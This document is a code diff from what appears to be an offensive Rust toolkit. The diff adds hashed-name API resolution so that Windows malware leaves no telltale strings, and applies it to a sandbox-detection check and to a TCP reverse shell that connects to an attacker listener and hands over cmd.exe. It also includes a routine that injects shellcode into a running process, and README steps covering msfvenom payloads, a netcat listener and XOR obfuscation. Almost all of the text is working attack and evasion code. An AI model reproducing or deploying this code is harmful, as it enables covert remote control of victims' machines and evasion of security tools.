let function = rco_utils::find_function_address("Kernel32", 0x139872fd098af4a7).unwrap();
let snapshot = unsafe {
mem::transmute::<*const (), fn(CREATE_TOOLHELP_SNAPSHOT_FLAGS, u32) -> HANDLE>
(function)(TH32CS_SNAPPROCESS, 0_u32)
};
// See line 38
let function = rco_utils::find_function_address("Kernel32", 0x4cf400a249844bee).unwrap();
let mut pid: u32 = 0;
let mut process_entry: PROCESSENTRY32 = unsafe { mem::zeroed() };
process_entry.dwSize = mem::size_of::<PROCESSENTRY32>() as u32;
while unsafe {
mem::transmute::<*const (), fn(HANDLE, &mut PROCESSENTRY32) -> BOOL>
(function)(snapshot, &mut process_entry).as_bool()
} {
let mut process_name = String::from("");
for element in process_entry.szExeFile {
let element_as_u8 = unsafe { mem::transmute::<CHAR, u8>(element) };
if element_as_u8 == 0 {
break
}
process_name.push(element_as_u8 as char);
}
if process_name.contains(target_process) {
pid = process_entry.th32ProcessID;
break;
}
}
if pid == 0 {
panic!("Could not find a {target_process} process");
}
// See line 62
let function = rco_utils::find_function_address("Kernel32", 0x2c116091e452cf52).unwrap();
let explorer_handle = unsafe {
mem::transmute::<*const (), fn(PROCESS_ACCESS_RIGHTS, bool, u32) -> HANDLE>
(function)(PROCESS_ALL_ACCESS, false, pid)
};
// See line 72
let function = rco_utils::find_function_address("Kernel32", 0x5cfd66a14ed9a43).unwrap();
let base_address = unsafe {
mem::transmute::<*const (), fn(HANDLE, *const u32, usize, VIRTUAL_ALLOCATION_TYPE, PAGE_PROTECTION_FLAGS) -> *const c_void>
(function)(explorer_handle, ptr::null(), shellcode.len(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
};
// See line 77
let function = rco_utils::find_function_address("Kernel32", 0x2638fa76194bfe63).unwrap();
unsafe {
mem::transmute::<*const (), fn(HANDLE, *const c_void, *const c_void, usize, *mut usize)>
(function)(explorer_handle, base_address, shellcode.as_ptr() as *const c_void, shellcode.len(), ptr::null_mut())
};
// See line 85
let function = rco_utils::find_function_address("Kernel32", 0x2a0b247f3bdeef70).unwrap();
let start_address_option = unsafe { Some(mem::transmute(base_address)) };
unsafe {
mem::transmute::<*const (), fn(HANDLE, *const u32, u32, Option<unsafe extern "system" fn(*mut c_void) -> u32>, *const u32, u32, *mut u32)>
(function)(explorer_handle, ptr::null(), 0, start_address_option, ptr::null(), 0, ptr::null_mut())
};
}
+5 -1
View File
@@ -10,6 +10,7 @@ rust-version = "1.59"
[features]
xor = []
antisand = ["windows", "rand"]
antistring = ["windows"]
[target.'cfg(windows)'.dependencies]
rand.optional = true
@@ -19,4 +20,7 @@ windows.version = ">=0.35.0"
windows.features = [
"Win32_Foundation",
"Win32_Networking",
"Win32_Networking_WinInet" ]
"Win32_Networking_WinInet",
"Win32_System_Diagnostics_Debug",
"Win32_System_LibraryLoader",
"Win32_System_SystemServices" ]
+161 -18
View File
@@ -1,4 +1,36 @@
use std::error::Error;
#[cfg(feature = "antistring")]
use std::collections::hash_map::DefaultHasher;
#[cfg(feature = "antistring")]
use std::hash::{Hash, Hasher};
#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))]
extern crate windows;
#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))]
use std::ffi::CString;
#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))]
use std::mem;
#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))]
use windows::core::PCSTR;
#[cfg(all(windows, feature = "antisand", feature = "antistring"))]
use core::ffi::c_void;
#[cfg(all(windows, feature = "antisand"))]
extern crate rand;
#[cfg(all(windows, feature = "antisand"))]
use rand::distributions::Alphanumeric;
#[cfg(all(windows, feature = "antisand"))]
use rand::Rng;
#[cfg(all(windows, feature = "antisand", not(feature = "antistring")))]
use windows::Win32::Networking::WinInet::{InternetOpenA, InternetOpenUrlA};
#[cfg(all(windows, feature = "antistring"))]
use std::ptr;
#[cfg(all(windows, feature = "antistring"))]
use std::ffi::CStr;
#[cfg(all(windows, feature = "antistring"))]
use windows::Win32::System::Diagnostics::Debug::{IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_NT_HEADERS64};
#[cfg(all(windows, feature = "antistring"))]
use windows::Win32::System::LibraryLoader::LoadLibraryA;
#[cfg(all(windows, feature = "antistring"))]
use windows::Win32::System::SystemServices::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY};
/*
Helper function for XOR - makes two slices the same length by repeating the shorter till it's the length of the longer
@@ -53,24 +85,7 @@ pub fn xor_encrypt_decrypt(_key: &[u8], text: &[u8]) -> Result<Vec<u8>, Box<dyn
Antisand Windows implementation - basically looks to see if something fakes a response to a website
*/
#[cfg(all(windows, feature = "antisand"))]
extern crate rand;
#[cfg(all(windows, feature = "antisand"))]
extern crate windows;
#[cfg(all(windows, feature = "antisand"))]
use rand::distributions::Alphanumeric;
#[cfg(all(windows, feature = "antisand"))]
use rand::Rng;
#[cfg(all(windows, feature = "antisand"))]
use std::ffi::CString;
#[cfg(all(windows, feature = "antisand"))]
use std::mem;
#[cfg(all(windows, feature = "antisand"))]
use windows::core::PCSTR;
#[cfg(all(windows, feature = "antisand"))]
use windows::Win32::Networking::WinInet::{InternetOpenA, InternetOpenUrlA};
#[cfg(all(windows, feature = "antisand"))]
#[cfg(all(windows, feature = "antisand", not(feature = "antistring")))]
pub fn pound_sand() -> bool {
// Call InternetOpenA to get a handle that can be used in an actual internet request
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopena
@@ -105,6 +120,48 @@ pub fn pound_sand() -> bool {
false
}
/*
Antisand Windows implementation without string artifacts - basically looks to see if something fakes a response to a website
*/
#[cfg(all(windows, feature = "antisand", feature = "antistring"))]
pub fn pound_sand() -> bool {
// See line 90
let function = find_function_address("Wininet", 0x4b98c7b42f5ce34f).unwrap();
let mut lpsz_agent: PCSTR = unsafe { mem::zeroed() };
lpsz_agent.0 = CString::new("Name in user-agent").unwrap().into_raw() as *mut u8;
let lpsz_proxy: PCSTR = unsafe { mem::zeroed() };
let lpsz_proxy_bypass: PCSTR = unsafe { mem::zeroed() };
let internet_handle = unsafe {
mem::transmute::<*const (), fn(PCSTR, i32, PCSTR, PCSTR, i32) -> *mut c_void>
(function)(lpsz_agent, 0, lpsz_proxy, lpsz_proxy_bypass, 0)
};
let length = rand::thread_rng().gen_range(20..40);
let alphanum: String = rand::thread_rng()
.sample_iter(&Alphanumeric)
.take(length)
.map(char::from)
.collect();
let mut full_link: String = "https://www.".to_owned();
let link_end: String = ".com".to_owned();
full_link.push_str(&alphanum);
full_link.push_str(&link_end);
// See line 111
let function = find_function_address("Wininet", 0x275e2d4fe536ed19).unwrap();
let mut lpsz_url: PCSTR = unsafe { mem::zeroed() };
lpsz_url.0 = CString::new(full_link).unwrap().into_raw() as *mut u8;
let website = unsafe {
mem::transmute::<*const (), fn(*mut c_void, PCSTR, &[u8], u32, usize) -> *mut c_void>
(function)(internet_handle, lpsz_url, &[], 0, 0)
};
if website != 0 as _ {
return true
}
false
}
/*
Antisand Linux implementation - since I currently don't need to do this to remain undetected it's a dummy (does nothing)
*/
@@ -122,3 +179,89 @@ pub fn pound_sand() -> bool {
pub fn pound_sand() -> bool {
false
}
/*
Calculate the has of a hashable value
*/
#[cfg(feature = "antistring")]
pub fn calculate_hash<T: Hash>(t: &T) -> u64 {
let mut s = DefaultHasher::new();
t.hash(&mut s);
s.finish()
}
/*
Find Win32 function implementation - finds the memory location of a Win32 function in its DLL so it can be called directly
*/
#[cfg(all(windows, feature = "antistring"))]
pub fn find_function_address(dll: &str, name_hash: u64) -> Result<*const (), Box<dyn Error>> {
// Call LoadLibraryA on a DLL to get its base address
let mut lib_filename: PCSTR = unsafe { mem::zeroed() };
lib_filename.0 = CString::new(dll).unwrap().into_raw() as *mut u8;
let library_base = unsafe { LoadLibraryA(lib_filename) };
let library_base_usize = library_base.0 as usize;
// Get a pointer to the DOS header
let dos_header: *const IMAGE_DOS_HEADER = library_base.0 as *const IMAGE_DOS_HEADER;
// Calculate the address of the image headers
let image_headers: *const IMAGE_NT_HEADERS64 = unsafe { (library_base_usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64 };
// Get the relative virtual address of the export directory
let export_directory_rva = unsafe { (*image_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT.0 as usize].VirtualAddress };
// Use the RVA to get the real address of the export directory
let image_export_directory: *const IMAGE_EXPORT_DIRECTORY = (library_base_usize + export_directory_rva as usize) as *const IMAGE_EXPORT_DIRECTORY;
// Calculate the base addresses of the arrays holding function information
let names_address = unsafe { library_base_usize + (*image_export_directory).AddressOfNames as usize };
let ordinals_address = unsafe { library_base_usize + (*image_export_directory).AddressOfNameOrdinals as usize };
let functions_address = unsafe { library_base_usize + (*image_export_directory).AddressOfFunctions as usize };
// Loop over every function looking for the desired name
let num_functions = unsafe { (*image_export_directory).NumberOfFunctions };
for index in 0..num_functions {
// Help traverse the names array; each 4-byte value is a pointer to a name
let into_names = mem::size_of::<u32>() * (index as usize);
// Find the location of the next function name's RVA
let function_name_rva_address: *const usize = (names_address + into_names) as *const usize;
// Read the RVA from its location
let function_name_rva: u32 = unsafe { ptr::read(function_name_rva_address) as u32 };
// Calculate the function name's real address
let function_name_address: *const i8 = (library_base_usize + function_name_rva as usize) as *const i8;
// Read the function name from its address
let function_name = unsafe { CStr::from_ptr(function_name_address).to_string_lossy() };
// Hash the name
let function_hash = calculate_hash(&function_name);
// Compare the hashed name to the name you are looking for
if function_hash == name_hash {
// Find the location of the function ordinal's RVA; it's the same index as the name array but each offset is only 2 bytes
let ordinals_offset_address: *const usize = (ordinals_address + (into_names / 2_usize)) as *const usize;
// Read the RVA from its location
let ordinal_offset: u16 = unsafe { ptr::read(ordinals_offset_address) as u16};
// Find the location of the function address in the address array by using the ordinal offset
let into_functions = mem::size_of::<u32>() * (ordinal_offset as usize);
// Calculate the function address's location
let function_address_rva_address: *const usize = (functions_address + into_functions) as *const usize;
// Read the function address's location from memory
let function_address_rva: u32 = unsafe { ptr::read(function_address_rva_address) as u32};
// Calculate the function's real address
let function_address: *const () = (library_base_usize + function_address_rva as usize) as *const ();
return Ok(function_address)
}
}
Err(format!("Could not find the function '{name_hash:x}' in '{dll}'").into())
}
+7 -1
View File
@@ -1,14 +1,19 @@
[package]
name = "tcp_reverse_shell"
version = "1.1.5"
version = "1.2.0"
edition = "2021"
authors = ["Kevin Conley <koins@duck.com>"]
rust-version = "1.59"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[features]
antisand = ["rco_utils/antisand"]
antistring = ["rco_utils/antistring"]
[dependencies]
rco_config = {path = "../rco_config"}
rco_utils = {path = "../rco_utils"}
[target.'cfg(windows)'.dependencies]
windows.version = ">=0.35.0"
@@ -16,4 +21,5 @@ windows.features = [
"Win32_Foundation",
"Win32_Security",
"Win32_Networking_WinSock",
"Win32_System_SystemInformation",
"Win32_System_Threading" ]
+2 -2
View File
@@ -20,12 +20,12 @@ and change the IP address and port to match the IP address of your attacking mac
#### For Linux targets
```commandline
cargo build -p tcp_reverse_shell --release
cargo build -p tcp_reverse_shell [antisand][,][antistring]] --release
```
#### For Windows targets
```commandline
cargo build --target x86_64-pc-windows-gnu -p tcp_reverse_shell --release
cargo build --target x86_64-pc-windows-gnu -p tcp_reverse_shell [--features [antisand][,][antistring]] --release
```
3. Start a netcat listener on the attacking machine on the same port you configured in step 1
```commandline
+8 -1
View File
@@ -7,9 +7,16 @@ use rco_reverse_shell_linux::shell;
// Load Windows implementation if the target OS is Windows
#[cfg(windows)]
mod rco_reverse_shell_windows;
#[cfg(windows)]
#[cfg(all(windows, not(feature = "antistring")))]
use rco_reverse_shell_windows::shell;
#[cfg(all(windows, feature = "antistring"))]
use rco_reverse_shell_windows::antistring_shell as shell;
fn main() {
// Runs the sandbox detection function or the dummy replacement, dependent on features
if rco_utils::pound_sand() {
return
}
shell(rco_config::LISTENER_IP, rco_config::LISTENER_PORT);
}
@@ -1,30 +1,28 @@
extern crate windows;
use std::{mem, ptr};
use std::ffi::{CString, c_void};
use std::ffi::{CStr, CString, c_void};
use windows::core::{PCSTR, PSTR};
use windows::Win32::Foundation::HANDLE;
use windows::Win32::Networking::WinSock::{connect, htons, inet_pton, SOCKADDR, SOCKADDR_IN, SOCKET, WSAData, WSASocketA, WSAStartup};
use windows::Win32::Networking::WinSock::{AF_INET, IPPROTO_TCP, SOCK_STREAM, SOCKADDR, SOCKADDR_IN, SOCKET, WSAData};
use windows::Win32::Security::SECURITY_ATTRIBUTES;
use windows::Win32::System::Threading::{CreateProcessA, PROCESS_CREATION_FLAGS, PROCESS_INFORMATION, STARTF_USESTDHANDLES, STARTUPINFOA};
use windows::Win32::System::Threading::{PROCESS_CREATION_FLAGS, PROCESS_INFORMATION, STARTF_USESTDHANDLES, STARTUPINFOA};
#[cfg(not(feature = "antistring"))]
use windows::Win32::Networking::WinSock::{connect, htons, inet_pton, WSASocketA, WSAStartup};
#[cfg(not(feature = "antistring"))]
use windows::Win32::System::SystemInformation::GetSystemDirectoryA;
#[cfg(not(feature = "antistring"))]
use windows::Win32::System::Threading::CreateProcessA;
#[cfg(feature = "antistring")]
use windows::Win32::Foundation::BOOL;
#[cfg(feature = "antistring")]
use windows::Win32::Networking::WinSock::WSAPROTOCOL_INFOA;
// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms632663(v=vs.85)
// Normally this is called by MAKEWORD(2,2), which is 514
const WSASTARTUPVAL: u16 = 514;
// https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasocketa
// 2 = AF_INET
const AF_INET_I32: i32 = 2;
// 1 = SOCK_STREAM
const WSATYPE: i32 = 1;
// 6 = TCP
const WSAPROTO: i32 = 6;
// 0 = No group operation
const WSAGROUP: u32 = 0;
// http://www.novell.com/documentation/developer/samplecode/ndpscomp_sample/gateway_inc/WINSOCK2.H.html
// 2 = AF_INET
const AF_INET_U16: u16 = 2;
#[cfg(not(feature = "antistring"))]
pub fn shell(ip: &str, port: u16) {
// Call WSAStartup so that you can do anything with sockets
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsastartup
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinSock/fn.WSAStartup.html
@@ -37,20 +35,20 @@ pub fn shell(ip: &str, port: u16) {
// Call WSASocket to create a socket
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasocketa
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinSock/fn.WSASocketA.html
let socket = unsafe { WSASocketA(AF_INET_I32, WSATYPE, WSAPROTO, ptr::null(), WSAGROUP, 0) };
let socket = unsafe { WSASocketA(AF_INET.0 as i32, SOCK_STREAM as i32, IPPROTO_TCP.0, ptr::null(), 0, 0) };
// Call inet_pton to populate the sockaddr_in.sin_addr field, which is needed as part of the socket connection
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/ws2tcpip/nf-ws2tcpip-inet_pton
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinSock/fn.inet_pton.html
let mut sockaddr_in: SOCKADDR_IN = unsafe { mem::zeroed() };
sockaddr_in.sin_family = AF_INET_U16;
sockaddr_in.sin_family = AF_INET.0 as u16;
// This is magic that I don't really understand but seems to work
let sin_addr_ptr: *mut c_void = &mut sockaddr_in.sin_addr as *mut _ as *mut c_void;
// Create a PSTR and use the IP string as the 0 field
let mut ip_pstr: PCSTR = unsafe { mem::zeroed() };
ip_pstr.0 = CString::new(ip).unwrap().into_raw() as *mut u8;
// Calling pton with the pointer sin_addr_ptr --> sockaddr_in.sin_addr should mean sockaddr_in.sin_addr has the IP struct now
let conversion_result = unsafe { inet_pton(AF_INET_I32, ip_pstr, sin_addr_ptr) };
let conversion_result = unsafe { inet_pton(AF_INET.0 as i32, ip_pstr, sin_addr_ptr) };
if conversion_result != 1 {
panic!("Unable to convert IP address to usable form with inet_pton")
}
@@ -68,6 +66,14 @@ pub fn shell(ip: &str, port: u16) {
panic!("Unable to call connect to the remote socket")
}
// Call GetSystemDirectoryA to figure out where cmd.exe will be
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/SystemInformation/fn.GetSystemDirectoryA.html
let lp_buffer: &mut [u8] = &mut [0; 50];
unsafe { GetSystemDirectoryA(lp_buffer) };
let system_dir = unsafe { CStr::from_ptr(lp_buffer.as_ptr() as *const i8) };
let system_dir = system_dir.to_str().unwrap();
// Call CreateProcessA to spawn a shell with stdin/stdout/stderr as the socket
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.CreateProcessA.html
@@ -81,7 +87,7 @@ pub fn shell(ip: &str, port: u16) {
startup_info.hStdError = unsafe { *sock_handle };
let lp_application_name: PCSTR = unsafe { mem::zeroed() };
let mut lp_command_line: PSTR = unsafe { mem::zeroed() };
lp_command_line.0 = CString::new("C:\\Windows\\System32\\cmd.exe").unwrap().into_raw() as *mut u8;
lp_command_line.0 = CString::new(format!("{system_dir}\\cmd.exe")).unwrap().into_raw() as *mut u8;
let lp_process_attributes: SECURITY_ATTRIBUTES = unsafe { mem::zeroed() };
let lp_thread_attributes: SECURITY_ATTRIBUTES = unsafe { mem::zeroed() };
let dw_creation_flags: PROCESS_CREATION_FLAGS = unsafe { mem::zeroed() };
@@ -103,3 +109,88 @@ pub fn shell(ip: &str, port: u16) {
panic!("Could not start cmd.exe process");
}
}
#[cfg(feature = "antistring")]
pub fn antistring_shell(ip: &str, port: u16) {
// See line 16
let function = rco_utils::find_function_address("Ws2_32", 0xedf45b56dba24418).unwrap();
let wsa_data: WSAData = unsafe { mem::zeroed() };
unsafe {
mem::transmute::<*const (), fn(u16, WSAData)>
(function)(WSASTARTUPVAL, wsa_data)
};
// See line 25
let function = rco_utils::find_function_address("Ws2_32", 0xad51563d572a6798).unwrap();
let socket = unsafe {
mem::transmute::<*const (), fn(i32, i32, i32, *const WSAPROTOCOL_INFOA, i32, i32) -> SOCKET>
(function)(AF_INET.0 as i32, SOCK_STREAM as i32, IPPROTO_TCP.0, ptr::null(), 0, 0)
};
// See line 30
let function = rco_utils::find_function_address("Ws2_32", 0xf6d69fad519d46a0).unwrap();
let mut sockaddr_in: SOCKADDR_IN = unsafe { mem::zeroed() };
sockaddr_in.sin_family = AF_INET.0 as u16;
let sin_addr_ptr: *mut c_void = &mut sockaddr_in.sin_addr as *mut _ as *mut c_void;
let mut ip_pstr: PCSTR = unsafe { mem::zeroed() };
ip_pstr.0 = CString::new(ip).unwrap().into_raw() as *mut u8;
unsafe {
mem::transmute::<*const (), fn(i32, PCSTR, *mut c_void) -> i32>
(function)(AF_INET.0 as i32, ip_pstr, sin_addr_ptr)
};
// See line 46
let function = rco_utils::find_function_address("Ws2_32", 0x57420f0d05112fd1).unwrap();
sockaddr_in.sin_port = unsafe {
mem::transmute::<*const (), fn(u16) -> u16>
(function)(port)
};
// See line 51
let function = rco_utils::find_function_address("Ws2_32", 0xcbfa974b4e43f414).unwrap();
unsafe {
mem::transmute::<*const (), fn(SOCKET, *const SOCKADDR, i32) -> i32>
(function)(socket, &sockaddr_in as *const SOCKADDR_IN as *const SOCKADDR, mem::size_of::<SOCKADDR_IN>().try_into().unwrap())
};
// See line 59
let function = rco_utils::find_function_address("Kernel32", 0x9822936f60f9a914).unwrap();
let lp_buffer: &mut [u8] = &mut [0; 50];
unsafe {
mem::transmute::<*const (), fn(&mut [u8])>
(function)(lp_buffer)
};
let system_dir = unsafe { CStr::from_ptr(lp_buffer.as_ptr() as *const i8) };
let system_dir = system_dir.to_str().unwrap();
// See line 67
let function = rco_utils::find_function_address("Kernel32", 0x6fe222ff0e96f5c4).unwrap();
let mut startup_info: STARTUPINFOA = unsafe { mem::zeroed() };
startup_info.cb = mem::size_of::<STARTUPINFOA>() as u32;
startup_info.dwFlags = STARTF_USESTDHANDLES;
let sock_handle = &socket as *const SOCKET as *const HANDLE;
startup_info.hStdInput = unsafe { *sock_handle };
startup_info.hStdOutput = unsafe { *sock_handle };
startup_info.hStdError = unsafe { *sock_handle };
let lp_application_name: PCSTR = unsafe { mem::zeroed() };
let mut lp_command_line: PSTR = unsafe { mem::zeroed() };
lp_command_line.0 = CString::new(format!("{system_dir}\\cmd.exe")).unwrap().into_raw() as *mut u8;
let lp_process_attributes: SECURITY_ATTRIBUTES = unsafe { mem::zeroed() };
let lp_thread_attributes: SECURITY_ATTRIBUTES = unsafe { mem::zeroed() };
let dw_creation_flags: PROCESS_CREATION_FLAGS = unsafe { mem::zeroed() };
let lp_current_directory: PCSTR = unsafe { mem::zeroed() };
let mut process_information: PROCESS_INFORMATION = unsafe { mem::zeroed() };
unsafe {
mem::transmute::<*const (), fn(PCSTR, PSTR, *const SECURITY_ATTRIBUTES, *const SECURITY_ATTRIBUTES, bool, PROCESS_CREATION_FLAGS, *const i32, PCSTR, *const STARTUPINFOA, *const PROCESS_INFORMATION) -> BOOL>
(function)(lp_application_name,
lp_command_line,
&lp_process_attributes,
&lp_thread_attributes,
true,
dw_creation_flags,
ptr::null(),
lp_current_directory,
&startup_info,
&mut process_information)
};
}
+4 -4
View File
@@ -7,15 +7,15 @@
## How it works
XOR shellcode performs an [exclusive OR (XOR)](https://en.wikipedia.org/wiki/Exclusive_or) operation on each byte of the shellcode with each byte of the key (repeating the key if need be).
XOR params performs an [exclusive OR (XOR)](https://en.wikipedia.org/wiki/Exclusive_or) operation on each byte of the shellcode with each byte of the key (repeating the key if need be).
## Using it
1. Generate shellcode for the desired end result (for example, use [msfvenom](https://book.hacktricks.xyz/shells/shells/msfvenom) to generate a reverse TCP shell shellcode for the target operating system)
2. Open [the config file](https://github.com/kmanc/remote_code_oxidation/blob/master/rco_config/src/lib.rs) and change the shellcode to the shellcode generated in step 1
1. [Not shown in GIF] Generate shellcode for the desired end result (for example, use [msfvenom](https://book.hacktricks.xyz/shells/shells/msfvenom) to generate a reverse TCP shell shellcode for the target operating system)
2. [Not shown in GIF] Open [the config file](https://github.com/kmanc/remote_code_oxidation/blob/master/rco_config/src/lib.rs) and change the shellcode to the shellcode generated in step 1
3. Open [the config file](https://github.com/kmanc/remote_code_oxidation/blob/master/rco_config/src/lib.rs) and change the key to a desired key
4. Compile the executable
4. [Not shown in GIF] Compile the executable
#### For Linux
```commandline